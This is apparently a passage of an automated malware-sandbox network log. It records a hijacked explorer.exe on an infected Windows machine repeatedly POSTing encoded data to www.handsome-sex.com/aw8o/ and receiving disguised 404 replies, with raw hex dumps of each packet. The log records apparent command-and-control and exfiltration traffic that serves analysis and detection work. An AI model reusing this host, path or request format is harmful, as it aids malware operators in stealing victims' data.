e5 8d 95 e5 87 bb e9 93 be e6 8e a5 e8 80 8c e5 88 b0 e8 be be e4 ba 86 e8 af a5 e7 bd 91 e9 a1 b5 ef bc 8c e8 af b7 e4 b8 8e e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e8 81 94 e7 b3 bb ef bc 8c e9 80 9a e7 9f a5 e4 bb 96 e4 bb ac e8 af a5 e9 93 be e6 8e a5 e7 9a 84 e6 a0 bc e5 bc 8f e4 b8 8d e6 ad a3 e7 a1 ae e3 80 82 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e e5 8d 95 e5 87 bb 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e e5 90 8e e9 80 80 3c 2f 61 3e e6 8c 89 e9 92 ae e5 b0 9d e8 af 95 e5 8f a6 e4 b8 80 e4 b8 aa e9 93 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE></TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312"><STYLE type="text/css"> BODY { font: 9pt/12pt } H1 { font: 12pt/15pt } H2 { font: 9pt/12pt } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><script type="text/javascript" async src="https://js.users.51.la/21774239.js"></script><script type="text/javascript" async src="//js.users.51.la/21774251.js"></script> <TABLE width=500 border=0 cellspacing=10><TR><TD><h1></h1><hr><p></p><ul><li></li><li></li><li><a href="javascript:history.back(1)"></a>
Aug 29, 2023 22:49:27.525454998 CEST	2096	IN	Data Raw: be e6 8e a5 e3 80 82 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 e9 94 99 e8 af af 20 34 30 34 20 2d 20 e6 96 87 e4 bb b6 e6 88 96 e7 9b ae e5 bd 95 e6 9c aa e6 89 be e5 88 b0 e3 80 82 3c 62 72 3e 49 6e 74 65 72 6e 65 74 Data Ascii: </li></ul><h2>HTTP 404 - <br>Internet (IIS)</h2><hr><p></p><ul><li> <a href="http://go.microsoft.com/fwlink/?linkid=8180">Micr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	50042	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:32.687484026 CEST	2097	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 68 75 5a 62 62 6b 4b 58 4d 59 38 42 33 34 49 6c 56 32 42 79 7a 61 41 75 7a 6e 61 6a 53 50 74 7a 6b 76 65 58 74 6e 32 5a 7a 6a 66 61 43 6a 73 39 54 39 68 5a 59 58 71 53 5a 4a 44 4f 78 34 69 66 41 77 4f 55 50 2b 52 31 62 4c 38 51 53 4e 43 42 72 32 43 71 74 55 45 6a 61 36 54 72 4f 6b 58 47 79 41 4c 65 71 71 68 78 73 64 49 72 4d 7a 70 49 52 62 50 65 4f 6b 64 54 70 6a 41 65 44 54 42 38 56 7a 4d 66 67 42 39 68 64 55 32 47 33 30 32 72 31 57 78 4c 30 69 39 64 2b 79 74 69 32 64 4d 6e 75 51 49 39 46 77 3d 3d Data Ascii: 5Nag0d=wxm5GOA4eNkxhuZbbkKXMY8B34IlV2ByzaAuznajSPtzkveXtn2ZzjfaCjs9T9hZYXqSZJDOx4ifAwOUP+R1bL8QSNCBr2CqtUEja6TrOkXGyALeqqhxsdIrMzpIRbPeOkdTpjAeDTB8VzMfgB9hdU2G302r1WxL0i9d+yti2dMnuQI9Fw==
Aug 29, 2023 22:49:32.842777967 CEST	2099	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:49:33 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 34 35 c6 48 9c 79 3f 6a ef b8 71 50 0e 3a dc bb 79 92 97 0f d0 df fb 97 f6 7e d8 2b 0d 9f 12 38 81 be a7 15 8e e7 45 59 f0 00 dd f4 a7 4e 19 44 d9 bb ee ff f8 29 7e 05 dc 3a ca b3 6f 90 9f e7 35 28 6f ec e1 45 55 91 38 a7 07 68 9f e4 6e fc 7f c0 ee fb 10 7f 4e 94 7d e0 f4 2c e4 7d 02 fc fa 01 72 9a 3a 7f cf ec 85 5c 3e 5b f1 23 fd 4d 77 08 43 af 3d f0 a6 e9 f7 12 54 45 9e 55 e0 3e ca fc fc 46 d1 57 bb f2 97 f6 c6 fb 6a 7a 55 3b 75 53 dd bb b9 07 6e 26 5f a2 e6 d9 fd 14 8a fe c3 1f cd 2e 81 53 e5 d9 d7 f3 71 ea 7a fe 10 92 5f b9 e0 4a b2 8b 4d dd fa a2 d7 b7 9f 9e fd fe cc eb 7e 28 14 37 0c 5f b5 45 2f ed 53 79 87 58 1a 02 c3 49 3e 33 d7 55 b4 96 a0 00 4e fd 00 65 f9 fd f3 cf 37 b8 41 fc ab 91 af 5c 71 86 60 49 f6 fd b0 57 da f4 d2 de 68 57 5a de 4a e4 7c a1 d4 9f 87 b8 8f 6a 90 56 37 30 3f 23 09 47 8b fe 43 2a 45 d9 5b 2a 33 c4 17 81 76 ed 8f 1b f4 97 38 de e7 75 9d a7 0f d0 c0 e3 4d d9 9f 15 e8 a5 94 8c ae 89 57 96 78 87 7f 6b 86 c1 dd f7 1e 70 f3 d2 19 fc f7 00 35 99 07 ca a1 08 bd 67 f4 6a 71 12 a7 39 fe ca 1b 5f f2 79 08 f3 16 94 57 f1 f5 5e 8c 07 3f 77 9b ea 6b b2 e3 d6 51 7b 9b 39 af 42 e0 ec 88 64 46 6f 02 5e 09 f1 75 14 bf d6 b5 cf 1c 75 95 92 d8 17 66 6c 92 1b df fc cc b4 28 bb d4 ec 4f 6a 5e 12 55 f5 fd 65 59 19 02 3e 03 50 de d4 55 e4 81 cb cb 9b f8 83 23 5f a5 bb 29 c6 3f c3 eb aa ff 4d db 26 81 92 e8 46 2c 3f c9 87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2d c2 9b 99 3f 5d 3e af 27 de 7a e8 3a 46 46 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 3c a2 8b fe af 37 6c 6e a3 f6 86 3c 18 af c8 ab cb 0a f5 00 95 20 71 86 e2 f2 c6 70 a0 0f 6d a8 58 7e 92 77 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< qpmX~wPy>Z.sUd3+>VK%dS4/s/Y~>
Aug 29, 2023 22:49:32.842927933 CEST	2100	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea e9 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b c8 08 1f b6 22 10 0a 31 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb,+3eYmxyVaY/C=5)`?:QJB#xAkmk
Aug 29, 2023 22:49:32.842987061 CEST	2101	IN	Data Raw: 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 c7 0c a5 de ac 01 51 49 42 ab ae e4 82 34 04 8f 53 97 2a cb a8 cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 a1 d7 ab 09 Data Ascii: rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-Q7HlRAp#T86Rnt!y"Altv
Aug 29, 2023 22:49:32.843044043 CEST	2103	IN	Data Raw: 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 5d e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 a0 db b8 1b 1d b3 6d da 4c 56 53 da 08 56 74 1d c2 Data Ascii: q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zlir_(q:iP<<&=uTY={54Wb
Aug 29, 2023 22:49:32.843086004 CEST	2103	IN	Data Raw: 61 0d 0a 03 00 39 ca 33 dd 84 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a93'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	50043	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:35.361016989 CEST	2104	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 67 4f 70 62 58 6d 69 58 4c 34 38 47 70 6f 49 6c 65 57 41 61 7a 61 45 75 7a 69 33 6f 53 62 42 7a 6e 4b 36 58 2f 32 32 5a 79 6a 66 61 4a 44 73 34 4d 4e 68 4f 59 58 6d 61 5a 4a 50 4f 78 34 65 66 41 43 47 55 4a 4f 52 79 44 37 38 54 46 39 43 45 76 32 43 67 74 56 34 56 61 37 58 72 50 55 37 47 7a 43 54 65 76 2b 39 79 39 74 49 58 62 6a 70 4c 65 37 50 4d 4f 6b 51 7a 70 6d 4d 6b 44 43 6c 38 56 58 77 66 68 42 39 69 54 6b 32 42 71 6b 33 6e 30 44 63 33 36 79 63 69 73 69 74 38 78 70 39 50 34 68 31 6a 59 71 5a 35 74 53 5a 6c 55 35 72 71 4c 61 73 66 65 58 63 4a 65 6d 62 36 55 69 58 4e 66 45 45 6c 53 42 35 38 2f 2f 45 49 35 4d 4a 50 79 4a 64 71 6d 62 54 31 52 30 6a 56 48 41 54 58 32 65 33 77 4a 6d 52 62 4b 45 75 62 2f 75 48 63 50 35 70 6c 6f 6f 38 6a 71 51 47 69 44 52 68 63 57 38 78 65 4e 72 38 62 70 67 64 6a 62 74 53 79 65 39 34 77 58 55 6d 38 35 2b 65 36 68 63 66 47 45 6a 6d 2f 54 61 62 61 6e 73 66 43 76 46 69 63 54 77 4c 64 2b 43 36 65 6e 2f 79 43 74 30 46 37 66 36 48 49 32 6b 4a 46 6d 4c 45 44 35 5a 6e 7a 36 6b 70 75 6f 39 43 71 79 53 66 31 6e 68 56 6b 75 34 41 49 37 57 47 31 75 37 57 36 33 5a 4d 6d 51 4d 31 68 4d 39 6d 54 44 31 77 64 46 63 5a 4a 73 47 4d 47 6e 57 4a 56 41 45 49 48 31 6c 35 53 73 67 32 4e 39 7a 6c 70 57 61 49 74 54 39 2b 45 43 58 75 30 45 57 63 4f 78 57 4f 39 47 4f 4a 30 66 6d 65 33 43 35 64 2f 46 61 33 57 74 38 42 46 4a 6c 44 5a 4e 32 78 4a 59 4f 6b 6b 36 63 7a 4e 4e 4b 6c 77 6e 6d 34 63 69 50 4c 61 59 4f 64 57 61 6a 59 2b 47 70 64 62 45 4c 6a 4a 36 43 38 74 4e 34 6f 49 4d 57 50 69 51 44 77 3d Data Ascii: 5Nag0d=wxm5GOA4eNkxgOpbXmiXL48GpoIleWAazaEuzi3oSbBznK6X/22ZyjfaJDs4MNhOYXmaZJPOx4efACGUJORyD78TF9CEv2CgtV4Va7XrPU7GzCTev+9y9tIXbjpLe7PMOkQzpmMkDCl8VXwfhB9iTk2Bqk3n0Dc36ycisit8xp9P4h1jYqZ5tSZlU5rqLasfeXcJemb6UiXNfEElSB58//EI5MJPyJdqmbT1R0jVHATX2e3wJmRbKEub/uHcP5ploo8jqQGiDRhcW8xeNr8bpgdjbtSye94wXUm85+e6hcfGEjm/TabansfCvFicTwLd+C6en/yCt0F7f6HI2kJFmLED5Znz6kpuo9CqySf1nhVku4AI7WG1u7W63ZMmQM1hM9mTD1wdFcZJsGMGnWJVAEIH1l5Ssg2N9zlpWaItT9+ECXu0EWcOxWO9GOJ0fme3C5d/Fa3Wt8BFJlDZN2xJYOkk6czNNKlwnm4ciPLaYOdWajY+GpdbELjJ6C8tN4oIMWPiQDw=
Aug 29, 2023 22:49:35.517298937 CEST	2105	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:49:36 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 08 79 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b e6 ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 0c 35 c2 48 7c fc 7e d4 de 71 e3 a0 1c 74 b8 77 f3 24 2f 1f a0 bf f7 2f ed fd b0 57 1a 3e 25 70 02 7d 4f 2b 1c cf 8b b2 e0 01 ba e9 4f 9d 32 88 b2 77 dd ff f1 53 fc 0a b8 75 94 67 df 20 3f cf 6b 50 de d8 c3 8b aa 22 71 4e 0f d0 3e c9 dd f8 ff 80 dd f7 21 fe 9c 28 fb c0 e9 59 c8 fb 04 f8 f5 03 e4 34 75 fe 9e d9 0b b9 7c b6 e2 47 fa 9b ee 10 86 5e 7b e0 4d d3 ef 25 a8 8a 3c ab c0 7d 94 f9 f9 8d a2 af 76 e5 2f ed 8d f7 d5 f4 aa 76 ea a6 ba 77 73 0f dc 4c be 44 cd b3 fb 29 14 fd 87 3f 9a 5d 02 a7 ca b3 af e7 e3 d4 f5 fc 21 24 bf 72 c1 95 64 17 9b ba f5 45 af 6f 3f 3d fb fd 99 d7 fd 50 28 6e 18 be 6a 8b 5e da a7 f2 0e b1 34 04 86 93 7c 66 ae ab 68 2d 41 01 9c fa 01 ca f2 fb e7 9f 6f 70 83 f8 57 23 5f b9 e2 63 82 25 d9 f7 c3 5e 69 d3 4b 7b a3 5d 69 79 2b 91 f3 85 52 7f 1e e2 3e aa 41 5a dd c0 fc 8c 24 1c 2d fa 0f a9 14 65 6f a9 3c 26 be 08 b4 6b 7f dc a0 bf c4 f1 3e af eb 3c 7d 80 06 1e 6f ca fe ac 40 2f a5 84 be 26 5e 59 e2 1d fe ad 19 06 77 df 7b c0 cd 4b 67 f0 df 03 d4 64 1e 28 87 22 f4 9e d1 ab c5 49 9c e1 f8 2b 6f 7c c9 e7 21 cc 5b 50 5e c5 d7 7b 31 1e fc dc 6d aa af c9 8e 5b 47 ed 6d e6 bc 0a 81 b3 34 39 a6 df 04 bc 12 e2 eb 28 7e ad 6b 9f 39 ea 2a 25 b1 2f cc d8 24 37 be f9 99 69 51 76 a9 d9 9f d4 bc 24 aa ea fb cb b2 32 04 7c 06 a0 bc a9 ab c8 03 97 97 37 f1 07 47 be 4a 77 53 8c 7f 86 d7 55 ff 9b b6 4d 02 25 d1 8d 58 7e 92 0f f9 35 54 c6 f7 1c 2e 9e 76 92 28 c8 1e 20 17 64 35 28 df e8 6f 90 df 6f f2 e6 25 e8 3f e3 74 59 70 1f 20 ec ab 1a 36 d4 cd fb 28 75 82 5b 37 fe 54 ea cb da 7b 99 3a ec 72 a2 2c b8 d5 6f 58 73 bb 97 f5 71 9f 27 de 9b 16 83 1d af b5 fc 68 83 2e 2f bd fb 7d 09 9c f8 01 ba 3c ee 9d 24 79 0f f0 a7 b4 aa 40 d9 82 12 72 3c af 04 d5 6d 49 f8 5a 84 37 33 7f ba 7c 5e 4f bc f5 d0 75 8c d0 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 44 33 45 ff d7 1b 36 b7 51 7b 43 1e 8c 57 e4 d5 65 85 7a 80 4a 90 38 43 71 79 63 38 d0 87 36 54 2c 3f c9 bb 07 28 8c 3c 0f 64 1f 47 5c ad 4f 97 c8 7e ce eb f7 e3 de cc 39 60 de 8a f6 e9 2a 32 0c fc 99 15 1f ab fc 0d e2 a5 92 7e b2 29 1a 50 5e c2 77 7c bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1yB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N5H\|~qtw$//W>%p}O+O2wSug ?kP"qN>!(Y4u\|G^{M%<}v/vwsLD)?]!$rdEo?=P(nj^4\|fh-AopW#_c%^iK{]iy+R>AZ$-eo<&k><}o@/&^Yw{Kgd("I+o\|![P^{1m[Gm49(~k9%/$7iQv$2\|7GJwSUM%X~5T.v( d5(oo%?tYp 6(u[7T{:r,oXsq'h./}<$y@r<mIZ73\|^Ou7/\|7?v/8]VR>t&$F/)"KehD3E6Q{CWezJ8Cqyc86T,?(<dG\O~9`*2~)P^w\|/Y~>
Aug 29, 2023 22:49:35.517371893 CEST	2107	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea 99 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b 08 8d 0f 5b 11 08 85 c6 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k[Rlc#Wy$fj!fu{U%f>L1-0fgP?)>1>FS&yF gYUWf(:9,_zjS,~tq`?x4B#xAkmk
Aug 29, 2023 22:49:35.517429113 CEST	2108	IN	Data Raw: 92 4e 23 6d 2e ad 9d a5 40 91 7d c1 89 65 c2 18 f2 76 be c5 f6 31 01 b3 98 63 86 52 6f d6 80 a8 24 a1 55 57 72 41 1a 82 c7 a9 4b 95 1d ab cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 61 d6 ab 09 Data Ascii: N#m.@}ev1cRo$UWrAK-t"P=:$Y=]eL/H8ahHn,G5;Aa0j(!K,kc!`]]AzvD}Uiu) i`6'jJAG#aJUqFSJ%+T*2D:
Aug 29, 2023 22:49:35.517484903 CEST	2109	IN	Data Raw: a3 46 a5 35 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d e9 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 53 e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 60 da b8 a3 8f d9 36 6d 26 ab 29 63 04 2b a6 0e 61 Data Ascii: F5tlVr2cZlbrn~2`3U#SEa/k}4FeN}N@YNJ`6m&)c+a.B7b3;Hqc<"crWg`""xSEd,h[X{/6C]s:{&nmLxlZN8d^d@a6fPw`0dbN! eO0UVFf*S
Aug 29, 2023 22:49:35.517525911 CEST	2109	IN	Data Raw: 61 0d 0a 03 00 cd b0 9e 35 84 27 00 00 0d 0a Data Ascii: a5'
Aug 29, 2023 22:49:35.517565012 CEST	2110	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	50044	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:38.028908968 CEST	2114	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 67 4f 70 62 58 6d 69 58 4c 34 38 47 70 6f 49 6c 65 57 41 61 7a 61 45 75 7a 69 33 6f 53 61 56 7a 6e 38 6d 58 74 42 4b 5a 6a 54 66 61 4b 44 73 35 4d 4e 68 50 59 58 2b 65 5a 4a 7a 30 78 39 61 66 41 56 69 55 4a 38 35 79 47 37 38 4f 5a 74 43 47 72 32 43 30 74 55 45 42 61 37 53 51 4f 6b 50 47 79 41 37 65 71 50 39 78 31 64 49 72 62 6a 70 39 56 62 4f 76 4f 6b 56 74 70 6d 49 6b 44 48 39 38 57 43 38 66 6b 53 6c 69 61 55 32 43 67 45 33 34 36 6a 64 50 36 7a 35 5a 73 69 74 47 78 74 74 50 34 68 56 6a 66 70 78 2b 74 79 5a 6c 4b 4a 72 74 64 72 51 62 65 58 78 63 65 69 54 36 55 68 6e 4e 64 6b 45 6c 48 51 35 2f 72 50 45 4b 39 4d 49 4a 6c 5a 42 79 6d 66 36 4d 52 77 37 56 41 77 48 58 6b 5a 6a 77 4b 45 31 62 43 45 75 5a 67 2b 48 50 59 70 70 48 6f 6f 73 46 71 51 6d 59 44 54 74 63 57 63 52 65 4a 4f 49 59 6b 51 64 6c 55 4e 53 6e 4a 74 38 73 58 55 33 39 35 2b 65 54 68 65 7a 47 46 54 32 2f 43 6f 6a 62 6d 63 66 4a 70 46 69 4a 5a 51 48 68 2b 43 6d 73 6e 38 69 53 74 7a 6c 37 4f 71 48 49 67 56 4a 47 38 4c 45 4f 6d 4a 6e 68 69 45 70 35 6f 39 4f 49 79 51 7a 50 6e 78 78 6b 76 49 51 49 38 47 47 36 72 62 57 2b 68 70 4d 73 42 63 31 68 4d 39 69 74 44 30 4d 64 46 74 68 4a 74 30 6b 47 6a 48 4a 56 54 55 49 42 31 6c 35 44 73 67 36 45 39 7a 39 32 57 62 34 44 54 37 6d 45 43 43 43 30 44 54 77 4e 30 6d 4f 79 52 75 4a 6a 53 47 43 65 43 35 41 77 46 65 62 6f 74 4f 31 46 49 6c 54 5a 62 47 78 49 4e 65 6c 73 74 73 79 4f 47 71 6f 76 6e 6d 55 4d 69 4f 2f 4b 59 4e 64 57 65 58 64 38 56 61 4d 43 61 4e 44 62 35 6b 73 72 43 65 67 70 57 6b 2f 7a 54 47 4e 43 63 30 4d 51 39 76 2b 66 56 6b 4f 45 63 5a 4d 65 78 71 4b 4f 4e 77 77 51 54 37 68 54 77 32 65 6a 76 37 36 76 5a 6e 49 38 4d 37 39 77 70 57 70 50 73 34 36 65 4b 5a 74 70 58 49 35 68 56 70 79 6d 69 39 51 49 6c 71 78 72 33 66 48 4c 76 38 64 7a 67 33 63 2b 6a 42 75 4b 33 64 61 62 7a 78 75 4c 6f 73 2b 68 77 36 6d 33 47 64 6e 39 31 73 74 45 79 2f 71 2f 47 47 52 35 4d 75 74 53 46 4d 30 45 6e 69 6d 4f 34 4d 6a 55 74 39 51 79 45 76 67 30 4a 65 4a 69 67 50 63 51 31 73 6c 37 6e 37 47 62 30 4c 4c 69 4d 35 39 6d 62 63 4e 6f 55 33 42 51 2f 51 42 48 74 44 70 77 46 33 64 48 6c 78 74 34 33 79 61 45 30 6e 77 41 73 5a 71 68 2b 65 36 6d 44 62 4f 41 4f 52 4e 73 55 57 63 2b 4b 57 4e 6e 2b 5a 69 33 57 2b 58 6f 2b 47 6f 